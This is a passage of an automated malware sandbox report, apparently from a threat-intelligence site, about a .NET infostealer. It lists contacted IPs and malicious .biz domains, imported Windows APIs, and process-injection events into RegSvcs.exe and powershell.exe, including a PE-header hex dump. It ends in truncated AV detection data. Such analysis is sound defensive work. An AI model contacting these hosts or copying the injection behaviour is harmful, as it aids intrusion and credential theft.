(GUI) x86-64 5 sections"- [targetUID: N/A] "ehrecvr.exe" has type "PE32+ executable for MS Windows 6.01 (GUI) x86-64 6 sections"- [targetUID: N/A] "vm3dservice.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 7 sections"- [targetUID: N/A] "minidump-analyzer.exe" has type "PE32+ executable for MS Windows 6.01 (console) x86-64 8 sections"- [targetUID: N/A] "SearchIndexer.exe" has type "PE32+ executable for MS Windows 6.01 (GUI) x86-64 6 sections"- [targetUID: N/A] "OSE.EXE" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 6 sections"- [targetUID: N/A] "DW20.EXE" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 4 sections"- [targetUID: N/A] "setup.exe" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 15 sections"- [targetUID: N/A] "WatAdminSvc.exe" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 6 sections"- [targetUID: N/A]a8:T51e,TCP traffic to 44.244.22.128 on port 80 is sent without HTTP header TCP traffic to 50.16.27.236 on port 80 is sent without HTTP header TCP traffic to 3.229.117.57 on port 80 is sent without HTTP header TCP traffic to 172.237.146.38 on port 80 is sent without HTTP header TCP traffic to 192.64.119.165 on port 80 is sent without HTTP header TCP traffic to 91.195.240.19 on port 80 is sent without HTTP header TCP traffic to 176.100.243.135 on port 80 is sent without HTTP header TCP traffic to 54.146.6.253 on port 80 is sent without HTTP header TCP traffic to 3.238.30.69 on port 80 is sent without HTTP header TCP traffic to 172.233.219.78 on port 80 is sent without HTTP header TCP traffic to 3.250.92.156 on port 80 is sent without HTTP header TCP traffic to 34.229.166.50 on port 80 is sent without HTTP header TCP traffic to 104.156.155.94 on port 80 is sent without HTTP header TCP traffic to 52.43.119.120 on port 80 is sent without HTTP header TCP traffic to 54.85.87.184 on port 80 is sent without HTTP header TCP traffic to 165.160.15.20 on port 80 is sent without HTTP header TCP traffic to 34.209.195.255 on port 80 is sent without HTTP header TCP traffic to 52.212.150.54 on port 80 is sent without HTTP header TCP traffic to 85.214.228.140 on port 80 is sent without HTTP headera9:T5b1,"chrmstp.exe" claimed CRC 4958219 while the actual is CRC 1568693 "AcroRd32.exe" claimed CRC 2814332 while the actual is CRC 4981774 "elevation_service.exe" claimed CRC 2317728 while the actual is CRC 2814332 "wmpnetwk.exe" claimed CRC 2160980 while the actual is CRC 2346255 "7zG.exe" claimed CRC 2102348 while the actual is CRC 2160980 "chrome_pwa_launcher.exe" claimed CRC 2053934 while the actual is CRC 2102348 "cblauncher.exe" claimed CRC 2064723 while the actual is CRC 2082461 "dwtrig20.exe" claimed CRC 2031772 while the actual is CRC 2064723 "Aut2exe_x64.exe" claimed CRC 2036628 while the actual is CRC 2031772 "setup.exe" claimed CRC 1991071 while the actual is CRC 2036628 "7z.exe" claimed CRC 1995033 while the actual is CRC 1991071 "firefox.exe" claimed CRC 1987310 while the actual is CRC 1995033 "notification_helper.exe" claimed CRC 1923654 while the actual is CRC 1987310 "rawshark.exe" claimed CRC 1947466 while the actual is CRC 1952181 "LogTransport2.exe" claimed CRC 1851765 while the actual is CRC 1947466 "updater.exe" claimed CRC 1862758 while the actual is CRC 1851765 "text2pcap.exe" claimed CRC 1860042 while the actual is CRC 1862758 "editcap.exe" claimed CRC 1853878 while the actual is CRC 1860042 "WatAdminSvc.exe.bin" claimed CRC 1859989 while the actual is CRC 1853878 "capinfos.exe" claimed CRC 1891364 while the actual is CRC 1859989 "mergecap.exe" claimed CRC 1841805 while the actual is CRC 1891364aa:T7cb,CreateProcessAsUserW RegCloseKey RegCreateKeyExW RegOpenKeyExW RegDeleteKeyExW SetSecurityDescriptorDacl GetUserNameW OpenProcessToken RegDeleteValueW CreateServiceW RegEnumKeyExW ChangeServiceConfigW GetModuleHandleW LoadLibraryExA GetProcAddress UnhandledExceptionFilter GetTickCount LoadLibraryExW VirtualProtect LoadLibraryW ReadProcessMemory CreateFileW Process32FirstW DisconnectNamedPipe WriteFile GetModuleFileNameW CreateToolhelp32Snapshot CreateThread GetVersionExW CreateFileMappingW FindResourceW Sleep GetStartupInfoW FindFirstFileExW OutputDebugStringW GetThreadContext GetModuleHandleExW MapViewOfFile DeleteFileW OpenProcess CreateFileA GetSystemDirectoryW CreateDirectoryW GetCommandLineW OutputDebugStringA GetNativeSystemInfo GetFileAttributesW Process32NextW TerminateProcess IsDebuggerPresent WriteProcessMemory GetSystemInfo CreateProcessW SleepConditionVariableSRW GetFileAttributesExW GetTempPathW ConnectNamedPipe GetModuleHandleA CopyFileW GetFileSizeEx GetDriveTypeW ExitThread LockResource VirtualAllocEx VirtualAlloc SleepEx GetCommandLineA FindNextFileW ShellExecuteW ShellExecuteExW GetWindowThreadProcessId SetWindowsHookExW RegDeleteKeyW RegOpenKeyExA SetKernelObjectSecurity RegCreateKeyW DeviceIoControl VirtualProtectEx FindFirstFileW FindResourceExW LoadLibraryA GetTempFileNameW GetFileSize CreateDirectoryExW FindWindowExW FindWindowA FindWindowW GetClipboardData StartServiceCtrlDispatcherW ChangeServiceConfig2W StartServiceW RegCreateKeyExA OpenFileMappingW GetComputerNameW GetTickCount64 GetVersionExA GetStartupInfoA FindFirstFileA CreateDirectoryA DeleteFileA FindNextFileA RegEnumKeyW GetModuleFileNameA GetUserNameExW CreateRemoteThread GetComputerNameExW WSAStartup HttpQueryInfoW HttpSendRequestW InternetQueryDataAvailable InternetOpenW InternetCloseHandle InternetConnectW InternetReadFile InternetCrackUrlW InternetQueryOptionWab:T8e5,"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe wrote PE header bytes ("4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000b80000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a24000000000000007de6a3d93987cd8a3987cd8a3987cd8aba9bc38a3887cd8a5098c48a3f87cd8ad098c08a3887cd8a526963683987cd8a0000000000000000504500004c010300c246f7680000000000000000e0000f010b01060000e006000020000000000000283f00000010000000f006000000400000100000001000000400000003000400040000000000000000001e00001000003b121e0002000000000010000010000000001000001000000000000010000000000000000000000044d306002800000000000700f008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000280200002000000000100000740300000000000000000000000000000000000000000000000000002e74657874000000fcd106000010000000e0060000100000000000000000000000000000200000602e64617461000000c80f000000f006000010000000f00600000000000000000000000000400000c02e72737263000000000017000000070000f0160000000700000000000000000000000000400000e0c31fb0491000000000000000000000004d535642564d36302e444c4c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000") to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" which might be an injection preparation attempt ...ac:T49a,Wrote 874 instructions to a remote process Wrote 8 instructions to a remote process Wrote 76 instructions to a remote process Wrote 133 instructions to a remote process Wrote 398 instructions to a remote process Wrote 183 instructions to a remote process Wrote 42 instructions to a remote process Wrote 443 instructions to a remote process Wrote 643 instructions to a remote process Wrote 170 instructions to a remote process Wrote 102 instructions to a remote process Wrote 182 instructions to a remote process Wrote 18 instructions to a remote process Wrote 1304 instructions to a remote process Wrote 130 instructions to a remote process Wrote 6 instructions to a remote process Wrote 33 instructions to a remote process Wrote 82 instructions to a remote process Wrote 143 instructions to a remote process Wrote 105 instructions to a remote process Wrote 36 instructions to a remote process Wrote 190 instructions to a remote process Wrote 1056 instructions to a remote process Wrote 1138 instructions to a remote process Wrote 53 instructions to a remote process Wrote 790 instructions to a remote process Wrote 112 instructions to a remote processad:Tb3f,"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" wrote 32 bytes to a remote process "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" (Handle: 1596) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" wrote 52 bytes to a remote process "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" (Handle: 1596) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" wrote 4 bytes to a remote process "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" (Handle: 1596) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" wrote 8 bytes to a remote process "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" (Handle: 1596) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" wrote 1500 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" (Handle: 1600) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" wrote 4 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" (Handle: 1600) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" wrote 8 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" (Handle: 1600) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" wrote 32 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" (Handle: 1600) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" wrote 52 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" (Handle: 1600) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" wrote 4096 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" (Handle: 1600) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" wrote 450560 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" (Handle: 1600) "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" wrote 1503232 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" (Handle: 1600) "SearchIndexer.exe" wrote 32 bytes to a remote process "C:\Windows\System32\SearchProtocolHost.exe" (Handle: 2564) "SearchIndexer.exe" wrote 52 bytes to a remote process "C:\Windows\System32\SearchProtocolHost.exe" (Handle: 2564) "SearchIndexer.exe" wrote 8 bytes to a remote process "C:\Windows\System32\SearchProtocolHost.exe" (Handle: 2564) "SearchIndexer.exe" wrote 32 bytes to a remote process "C:\Windows\System32\SearchFilterHost.exe" (Handle: 2628) "SearchIndexer.exe" wrote 52 bytes to a remote process "C:\Windows\System32\SearchFilterHost.exe" (Handle: 2628) "SearchIndexer.exe" wrote 8 bytes to a remote process "C:\Windows\System32\SearchFilterHost.exe" (Handle: 2628)ae:T462,Contacted Domain: "rynmcq.biz" has been identified as malicious Contacted Domain: "wllvnzb.biz" has been identified as malicious Contacted Domain: "saytjshyf.biz" has been identified as malicious Contacted Domain: "przvgke.biz" has been identified as malicious Contacted Domain: "anpmnmxo.biz" has been identified as malicious Contacted Domain: "vjaxhpbji.biz" has been identified as malicious Contacted Domain: "xlfhhhm.biz" has been identified as malicious Contacted Domain: "typgfhb.biz" has been identified as malicious Contacted Domain: "fwiwk.biz" has been identified as malicious Contacted Domain: "tbjrpv.biz" has been identified as malicious Contacted Domain: "yauexmxk.biz" has been identified as malicious Contacted Domain: "yunalwv.biz" has been identified as malicious Contacted Domain: "tnevuluw.biz" has been identified as malicious Contacted Domain: "ytctnunms.biz" has been identified as malicious Contacted Domain: "yhqqc.biz" has been identified as malicious Contacted Domain: "uaafd.biz" has been identified as malicious Contacted Domain: "dlynankz.biz" has been identified as maliciousaf:T67d,"acwjcqqv.biz" with TTL 116 "anpmnmxo.biz" with TTL 303 "brsua.biz" with TTL 271 "bumxkqgxu.biz" with TTL 248 "ctdtgwag.biz" with TTL 170 "cvgrf.biz" with TTL 15 "deoci.biz" with TTL 293 "dlynankz.biz" with TTL 564 "dwrqljrr.biz" with TTL 259 "esuzf.biz" with TTL 28 "eufxebus.biz" with TTL 102 "ftxlah.biz" with TTL 156 "fwiwk.biz" with TTL 114 "gcedd.biz" with TTL 212 "gjogvvpsf.biz" with TTL 94 "gnqgo.biz" with TTL 99 "gvijgjwkh.biz" with TTL 107 "gytujflc.biz" with TTL 256 "hehckyov.biz" with TTL 263 "ifsaia.biz" with TTL 65 "iuzpxe.biz" with TTL 27 "jdhhbs.biz" with TTL 78 "jhvzpcfg.biz" with TTL 161 "jpskm.biz" with TTL 16 "jwkoeoqns.biz" with TTL 187 "knjghuig.biz" with TTL 42 "lpuegx.biz" with TTL 597 "lrxdmhrr.biz" with TTL 93 "mgmsclkyu.biz" with TTL 106 "mnjmhp.biz" with TTL 233 "npukfztj.biz" with TTL 282 "nqwjmb.biz" with TTL 12 "oflybfv.biz" with TTL 265 "opowhhece.biz" with TTL 230 "oshhkdluh.biz" with TTL 125 "przvgke.biz" with TTL 288 "pwlqfu.biz" with TTL 259 "pywolwnvd.biz" with TTL 45 "qaynky.biz" with TTL 75 "qpnczch.biz" with TTL 11 "reczwga.biz" with TTL 142 "rrqafepng.biz" with TTL 251 "rynmcq.biz" with TTL 25 "saytjshyf.biz" with TTL 55 "ssbzmoy.biz" with TTL 207 "sxmiywsfv.biz" with TTL 199 "tbjrpv.biz" with TTL 168 "tnevuluw.biz" with TTL 174 "typgfhb.biz" with TTL 188 "uaafd.biz" with TTL 49 "vcddkls.biz" with TTL 117 "vrrazpdh.biz" with TTL 170 "vyome.biz" with TTL 177 "warkcdu.biz" with TTL 254 "whjovd.biz" with TTL 60 "wllvnzb.biz" with TTL 171 "xccjj.biz" with TTL 204 "xlfhhhm.biz" with TTL 178 "yauexmxk.biz" with TTL 249 "yhqqc.biz" with TTL 133b0:T590,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAD80lEQVR4Xu2W21cTVxTG/b/6Tq22VuSi4DWiLXYtXAoiIOiChNwDMQawSDCESwiEgNTWVmpfbSH2wSf7ZN/oCyHJZGYyueDXfWZIMkwyQmwXfaiz1rfO5JyZs3/7O/ucyZEjH6//+rI63RgYtB2qBi0OFAEsNgf+eLuJ12/+JL39V/V1t6diyyBKDtiH8et69B9pfeMVNqK/Y+OVonW6/436mLTPMu0BMJkdSAlpZDMSMlL6A6S8J1WQ9lkWQ8zktAB2ufMwVQaQy+flgbW1l3jxy+sDae3nl8jnsrKi0WhFFTL/5NqULHZfESC/C8AmrutbQv3dMBr6F9FoXMBpcwhnrCE0O4NoHprDOc8Mznun5Wf/2txEJi2UWa1VVQCXbKswOJ7A4FxBy/AyrngiuOpdwldji2gdX8A1Xwjf+OdVAHxZ5lU5wH7sqADavD+gbfR7XH/4FDcekXyraPc/QUdgBbdml9EZjKBrIVwEyBIAm1iSRKVNK63WgRrTqD4ALyoDbNKuyefo8f+EnsCP6J19hpsU/Lo/jNbJIC5P+GHwTaJlylcCEIWyzLUOsOAnHzr1ATheLAIYgy9wb+45WkZCOGGbwKeWEXzmeIDjQx58ft+NE94hnBxzqgB2HaDM5e3HWo0LLHjzXP/BANoff4fj5nHUDI7iqM2LY04KPnwfXzwYxpejLnmyU4/sKoBUWeZaB1jw1mdt+gApFUCNcUzJ2k7Bi1lT8DEXar914NSEDfWPLXtqQKLDKC3q7wYW/P0AQgngqHXXcpa1h4KPDMlZ147bUeezosFvxumAqbQLxP13wQEASkV4zEVZu1WWs6zJ8vpJKxqnBnFm2ogmsrQIIPBVHeP7AqgLrXbcgTqyvIEsbwxQ8JkBWs97OBfqq+ocqApAXWj1BcunTWia7cfZ4F2cX+jFxXD3HoDM7g7QBqukfQHUhSZbPmNUsp7vw4XFO7i41A3DcmcRIE01wApQu/WYWJ9IYxzHIZFIIJmI7w+gLrSm2QHKmlneiwvhHlyKdOHySidaVjuKANJ7tqGUpnkJMJlMIB6PIxHf1gFQnYTqQjs7zyy/I1tuiNym4LdwZbUdV5/eUAFwFbMvOCBQkbLMY7EYtrdjlQEEUfmjMD2zLE98EE0FIsoSCPpFKPA8UlySAm8rADEdgGRKcYB929mk1UhIlRxgLasHnk+BSynrzrLe2tqSpQsQ59LyJxk7GWQlHkAWyFNfRkCOhB2J+t6Rdkh5ZRwZvMspRVY4/9OiCJ4cSVFwjjJP0Nqz9S+IuaELwAYOS3sA2H/0vgGz3PkhMtH7FrsLdpcbVocbZqsTxgrPqXWz43YJ4OP1v7/+BnvlpAT3X7SfAAAAAElFTkSuQmCCb1:T590,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAD80lEQVR4Xu2W21cTVxTG/b/6Tq22VuSi4DWiLXYtXAoiIOiChNwDMQawSDCESwiEgNTWVmpfbSH2wSf7ZN/oCyHJZGYyueDXfWZIMkwyQmwXfaiz1rfO5JyZs3/7O/ucyZEjH6//+rI63RgYtB2qBi0OFAEsNgf+eLuJ12/+JL39V/V1t6diyyBKDtiH8et69B9pfeMVNqK/Y+OVonW6/436mLTPMu0BMJkdSAlpZDMSMlL6A6S8J1WQ9lkWQ8zktAB2ufMwVQaQy+flgbW1l3jxy+sDae3nl8jnsrKi0WhFFTL/5NqULHZfESC/C8AmrutbQv3dMBr6F9FoXMBpcwhnrCE0O4NoHprDOc8Mznun5Wf/2txEJi2UWa1VVQCXbKswOJ7A4FxBy/AyrngiuOpdwldji2gdX8A1Xwjf+OdVAHxZ5lU5wH7sqADavD+gbfR7XH/4FDcekXyraPc/QUdgBbdml9EZjKBrIVwEyBIAm1iSRKVNK63WgRrTqD4ALyoDbNKuyefo8f+EnsCP6J19hpsU/Lo/jNbJIC5P+GHwTaJlylcCEIWyzLUOsOAnHzr1ATheLAIYgy9wb+45WkZCOGGbwKeWEXzmeIDjQx58ft+NE94hnBxzqgB2HaDM5e3HWo0LLHjzXP/BANoff4fj5nHUDI7iqM2LY04KPnwfXzwYxpejLnmyU4/sKoBUWeZaB1jw1mdt+gApFUCNcUzJ2k7Bi1lT8DEXar914NSEDfWPLXtqQKLDKC3q7wYW/P0AQgngqHXXcpa1h4KPDMlZ147bUeezosFvxumAqbQLxP13wQEASkV4zEVZu1WWs6zJ8vpJKxqnBnFm2ogmsrQIIPBVHeP7AqgLrXbcgTqyvIEsbwxQ8JkBWs97OBfqq+ocqApAXWj1BcunTWia7cfZ4F2cX+jFxXD3HoDM7g7QBqukfQHUhSZbPmNUsp7vw4XFO7i41A3DcmcRIE01wApQu/WYWJ9IYxzHIZFIIJmI7w+gLrSm2QHKmlneiwvhHlyKdOHySidaVjuKANJ7tqGUpnkJMJlMIB6PIxHf1gFQnYTqQjs7zyy/I1tuiNym4LdwZbUdV5/eUAFwFbMvOCBQkbLMY7EYtrdjlQEEUfmjMD2zLE98EE0FIsoSCPpFKPA8UlySAm8rADEdgGRKcYB929mk1UhIlRxgLasHnk+BSynrzrLe2tqSpQsQ59LyJxk7GWQlHkAWyFNfRkCOhB2J+t6Rdkh5ZRwZvMspRVY4/9OiCJ4cSVFwjjJP0Nqz9S+IuaELwAYOS3sA2H/0vgGz3PkhMtH7FrsLdpcbVocbZqsTxgrPqXWz43YJ4OP1v7/+BnvlpAT3X7SfAAAAAElFTkSuQmCC1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1791044812636,"unified_at":"2026-10-03T16:26:52.636Z","metadata":{"hashes":{"sha256":"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e","sha1":"a9432c710bb7148f9f794acfe6eaaccd46852e9b","md5":"9d67302289bbe67cfe4d429a9350184a","sha512":"adf85c47b2aad57cb18c6e135d7e014dc43610161f15b036c2b90bedf69347ff25d08f76ebf76bbbf1eed08ede5c1315349c1c6459c8db815f19ad30c417bb34","ssdeep":"24576:lHF7XV2vB4YpSJ2n6UsF0BQKnOyQOaJnl4j5okELoQG3/D3x87UJPJaPh5W77OQg:llkvBFIA6d8ONRqj6G3/DB87U8PELD7Q","ssdeep_chunks":["24576:lHF7XV2","24576:HF7XV2v","24576:F7XV2vB","24576:7XV2vB4","24576:XV2vB4Y","24576:V2vB4Yp","24576:2vB4YpS","24576:vB4YpSJ","24576:B4YpSJ2","24576:4YpSJ2n","24576:YpSJ2n6","24576:pSJ2n6U","24576:SJ2n6Us","24576:J2n6UsF","24576:2n6UsF0","24576:n6UsF0B","24576:6UsF0BQ","24576:UsF0BQK","24576:sF0BQKn","24576:F0BQKnO","24576:0BQKnOy","24576:BQKnOyQ","24576:QKnOyQO","24576:KnOyQOa","24576:nOyQOaJ","24576:OyQOaJn","24576:yQOaJnl","24576:QOaJnl4","24576:OaJnl4j","24576:aJnl4j5","24576:Jnl4j5o","24576:nl4j5ok","24576:l4j5okE","24576:4j5okEL","24576:j5okELo","24576:5okELoQ","24576:okELoQG","24576:kELoQG3","24576:ELoQG3/","24576:LoQG3/D","24576:oQG3/D3","24576:QG3/D3x","24576:G3/D3x8","24576:3/D3x87","24576:/D3x87U","24576:D3x87UJ","24576:3x87UJP","24576:x87UJPJ","24576:87UJPJa","24576:7UJPJaP","24576:UJPJaPh","24576:JPJaPh5","24576:PJaPh5W","24576:JaPh5W7","24576:aPh5W77","24576:Ph5W77O","24576:h5W77OQ","24576:5W77OQg","49152:lHF7XV2","49152:HF7XV2v","49152:F7XV2vB","49152:7XV2vB4","49152:XV2vB4Y","49152:V2vB4Yp","49152:2vB4YpS","49152:vB4YpSJ","49152:B4YpSJ2","49152:4YpSJ2n","49152:YpSJ2n6","49152:pSJ2n6U","49152:SJ2n6Us","49152:J2n6UsF","49152:2n6UsF0","49152:n6UsF0B","49152:6UsF0BQ","49152:UsF0BQK","49152:sF0BQKn","49152:F0BQKnO","49152:0BQKnOy","49152:BQKnOyQ","49152:QKnOyQO","49152:KnOyQOa","49152:nOyQOaJ","49152:OyQOaJn","49152:yQOaJnl","49152:QOaJnl4","49152:OaJnl4j","49152:aJnl4j5","49152:Jnl4j5o","49152:nl4j5ok","49152:l4j5okE","49152:4j5okEL","49152:j5okELo","49152:5okELoQ","49152:okELoQG","49152:kELoQG3","49152:ELoQG3/","49152:LoQG3/D","49152:oQG3/D3","49152:QG3/D3x","49152:G3/D3x8","49152:3/D3x87","49152:/D3x87U","49152:D3x87UJ","49152:3x87UJP","49152:x87UJPJ","49152:87UJPJa","49152:7UJPJaP","49152:UJPJaPh","49152:JPJaPh5","49152:PJaPh5W","49152:JaPh5W7","49152:aPh5W77","49152:Ph5W77O","49152:h5W77OQ","49152:5W77OQg","24576:llkvBFI","24576:lkvBFIA","24576:kvBFIA6","24576:vBFIA6d","24576:BFIA6d8","24576:FIA6d8O","24576:IA6d8ON","24576:A6d8ONR","24576:6d8ONRq","24576:d8ONRqj","24576:8ONRqj6","24576:ONRqj6G","24576:NRqj6G3","24576:Rqj6G3/","24576:qj6G3/D","24576:j6G3/DB","24576:6G3/DB8","24576:G3/DB87","24576:3/DB87U","24576:/DB87U8","24576:DB87U8P","24576:B87U8PE","24576:87U8PEL","24576:7U8PELD","24576:U8PELD7","24576:8PELD7Q"],"imphash":"f34d5f2d4577ed6d9ceec516c1f5a744"},"file_info":{"file_name":"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe","file_type":["peexe","assembly","executable"],"file_type_id":".NET exe","file_size":1546760,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1761320128000,"last_seen":1762850763000,"last_multi_scan":1762850763000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["fileinfector","m0yv","modular","credentialharvesting","sourcecodeleaked","criminal","sinkhole","infostealer","malicious","evasive"]},"stats":{"av":{"malicious_count":14,"suspicious_count":0,"total_engines":28},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":118},"sandbox_signatures":{"informative_count":333,"suspicious_count":22,"malicious_count":15,"total":370},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Malware/Win.Genie","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan[Spy]/MSIL.FormBook","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Application.Generic.4391001","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"malicious","threat_name":"Trojan_MSIL_AveMaria_AWIB_MTB","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"crowdstrikefalconml":{"name":"CrowdStrike Falcon ML","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of MSIL/Kryptik.AOTJ trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Agent.sa","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Trojan ( 005d5f371 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"Troj/Krypt-AQM","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","t